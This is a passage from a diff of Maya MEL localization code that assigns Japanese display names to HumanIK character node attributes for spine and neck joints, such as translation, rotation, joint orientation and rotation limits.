+setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateAxisy", "脊椎 5 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5RotateAxisz", "脊椎 5 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5JointOrient", "脊椎 5 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5JointOrientx", "脊椎 5 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5JointOrienty", "脊椎 5 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5JointOrientz", "脊椎 5 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimit", "脊椎 5 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitx", "脊椎 5 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimity", "脊椎 5 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitz", "脊椎 5 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimit", "脊椎 5 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitx", "脊椎 5 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimity", "脊椎 5 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitz", "脊椎 5 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitEnablex", "脊椎 5 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitEnabley", "脊椎 5 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MinRLimitEnablez", "脊椎 5 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitEnablex", "脊椎 5 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitEnabley", "脊椎 5 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine5MaxRLimitEnablez", "脊椎 5 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6", "脊椎 6" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6T", "脊椎 6 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Tx", "脊椎 6 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Ty", "脊椎 6 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Tz", "脊椎 6 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6R", "脊椎 6 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Rx", "脊椎 6 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Ry", "脊椎 6 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Rz", "脊椎 6 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6S", "脊椎 6 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Sx", "脊椎 6 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Sy", "脊椎 6 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6Sz", "脊椎 6 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateOrder", "脊椎 6 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateAxis", "脊椎 6 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateAxisx", "脊椎 6 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateAxisy", "脊椎 6 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6RotateAxisz", "脊椎 6 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6JointOrient", "脊椎 6 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6JointOrientx", "脊椎 6 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6JointOrienty", "脊椎 6 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6JointOrientz", "脊椎 6 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimit", "脊椎 6 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitx", "脊椎 6 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimity", "脊椎 6 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitz", "脊椎 6 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimit", "脊椎 6 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitx", "脊椎 6 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimity", "脊椎 6 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitz", "脊椎 6 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitEnablex", "脊椎 6 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitEnabley", "脊椎 6 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MinRLimitEnablez", "脊椎 6 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitEnablex", "脊椎 6 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitEnabley", "脊椎 6 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine6MaxRLimitEnablez", "脊椎 6 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7", "脊椎 7" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7T", "脊椎 7 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Tx", "脊椎 7 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Ty", "脊椎 7 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Tz", "脊椎 7 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7R", "脊椎 7 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Rx", "脊椎 7 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Ry", "脊椎 7 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Rz", "脊椎 7 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7S", "脊椎 7 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Sx", "脊椎 7 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Sy", "脊椎 7 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7Sz", "脊椎 7 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateOrder", "脊椎 7 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateAxis", "脊椎 7 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateAxisx", "脊椎 7 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateAxisy", "脊椎 7 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7RotateAxisz", "脊椎 7 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7JointOrient", "脊椎 7 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7JointOrientx", "脊椎 7 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7JointOrienty", "脊椎 7 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7JointOrientz", "脊椎 7 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimit", "脊椎 7 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitx", "脊椎 7 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimity", "脊椎 7 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitz", "脊椎 7 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimit", "脊椎 7 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitx", "脊椎 7 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimity", "脊椎 7 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitz", "脊椎 7 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitEnablex", "脊椎 7 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitEnabley", "脊椎 7 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MinRLimitEnablez", "脊椎 7 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitEnablex", "脊椎 7 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitEnabley", "脊椎 7 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine7MaxRLimitEnablez", "脊椎 7 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8", "脊椎 8" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8T", "脊椎 8 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Tx", "脊椎 8 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Ty", "脊椎 8 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Tz", "脊椎 8 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8R", "脊椎 8 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Rx", "脊椎 8 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Ry", "脊椎 8 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Rz", "脊椎 8 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8S", "脊椎 8 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Sx", "脊椎 8 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Sy", "脊椎 8 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8Sz", "脊椎 8 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateOrder", "脊椎 8 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateAxis", "脊椎 8 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateAxisx", "脊椎 8 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateAxisy", "脊椎 8 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8RotateAxisz", "脊椎 8 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8JointOrient", "脊椎 8 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8JointOrientx", "脊椎 8 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8JointOrienty", "脊椎 8 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8JointOrientz", "脊椎 8 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimit", "脊椎 8 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitx", "脊椎 8 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimity", "脊椎 8 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitz", "脊椎 8 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimit", "脊椎 8 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitx", "脊椎 8 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimity", "脊椎 8 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitz", "脊椎 8 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitEnablex", "脊椎 8 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitEnabley", "脊椎 8 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MinRLimitEnablez", "脊椎 8 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitEnablex", "脊椎 8 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitEnabley", "脊椎 8 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine8MaxRLimitEnablez", "脊椎 8 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9", "脊椎 9" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9T", "脊椎 9 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Tx", "脊椎 9 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Ty", "脊椎 9 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Tz", "脊椎 9 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9R", "脊椎 9 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Rx", "脊椎 9 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Ry", "脊椎 9 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Rz", "脊椎 9 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9S", "脊椎 9 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Sx", "脊椎 9 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Sy", "脊椎 9 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9Sz", "脊椎 9 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateOrder", "脊椎 9 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateAxis", "脊椎 9 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateAxisx", "脊椎 9 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateAxisy", "脊椎 9 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9RotateAxisz", "脊椎 9 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9JointOrient", "脊椎 9 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9JointOrientx", "脊椎 9 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9JointOrienty", "脊椎 9 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9JointOrientz", "脊椎 9 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimit", "脊椎 9 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitx", "脊椎 9 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimity", "脊椎 9 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitz", "脊椎 9 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimit", "脊椎 9 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitx", "脊椎 9 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimity", "脊椎 9 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitz", "脊椎 9 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitEnablex", "脊椎 9 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitEnabley", "脊椎 9 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MinRLimitEnablez", "脊椎 9 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitEnablex", "脊椎 9 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitEnabley", "脊椎 9 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Spine9MaxRLimitEnablez", "脊椎 9 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1", "首 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1T", "首 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Tx", "首 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Ty", "首 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Tz", "首 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1R", "首 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Rx", "首 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Ry", "首 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Rz", "首 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1S", "首 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Sx", "首 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Sy", "首 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1Sz", "首 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateOrder", "首 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateAxis", "首 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateAxisx", "首 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateAxisy", "首 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1RotateAxisz", "首 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1JointOrient", "首 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1JointOrientx", "首 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1JointOrienty", "首 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1JointOrientz", "首 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimit", "首 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitx", "首 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimity", "首 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitz", "首 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimit", "首 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitx", "首 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimity", "首 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitz", "首 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitEnablex", "首 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitEnabley", "首 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MinRLimitEnablez", "首 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitEnablex", "首 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitEnabley", "首 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck1MaxRLimitEnablez", "首 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2", "首 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2T", "首 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Tx", "首 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Ty", "首 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Tz", "首 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2R", "首 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Rx", "首 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Ry", "首 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Rz", "首 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2S", "首 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Sx", "首 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Sy", "首 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2Sz", "首 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateOrder", "首 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateAxis", "首 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateAxisx", "首 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateAxisy", "首 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2RotateAxisz", "首 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2JointOrient", "首 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2JointOrientx", "首 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2JointOrienty", "首 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2JointOrientz", "首 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimit", "首 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitx", "首 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimity", "首 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitz", "首 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimit", "首 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitx", "首 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimity", "首 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitz", "首 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitEnablex", "首 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitEnabley", "首 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MinRLimitEnablez", "首 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitEnablex", "首 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitEnabley", "首 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck2MaxRLimitEnablez", "首 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3", "首 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3T", "首 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Tx", "首 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Ty", "首 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Tz", "首 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3R", "首 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Rx", "首 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Ry", "首 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Rz", "首 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3S", "首 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Sx", "首 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Sy", "首 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3Sz", "首 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateOrder", "首 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateAxis", "首 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateAxisx", "首 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateAxisy", "首 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3RotateAxisz", "首 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3JointOrient", "首 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3JointOrientx", "首 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3JointOrienty", "首 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3JointOrientz", "首 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimit", "首 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitx", "首 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimity", "首 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitz", "首 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimit", "首 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitx", "首 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimity", "首 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitz", "首 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitEnablex", "首 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitEnabley", "首 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MinRLimitEnablez", "首 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitEnablex", "首 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitEnabley", "首 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck3MaxRLimitEnablez", "首 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4", "首 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4T", "首 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Tx", "首 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Ty", "首 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Tz", "首 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4R", "首 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Rx", "首 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Ry", "首 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Rz", "首 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4S", "首 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Sx", "首 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Sy", "首 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4Sz", "首 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateOrder", "首 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateAxis", "首 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateAxisx", "首 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateAxisy", "首 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4RotateAxisz", "首 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "Neck4JointOrient", "首 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", 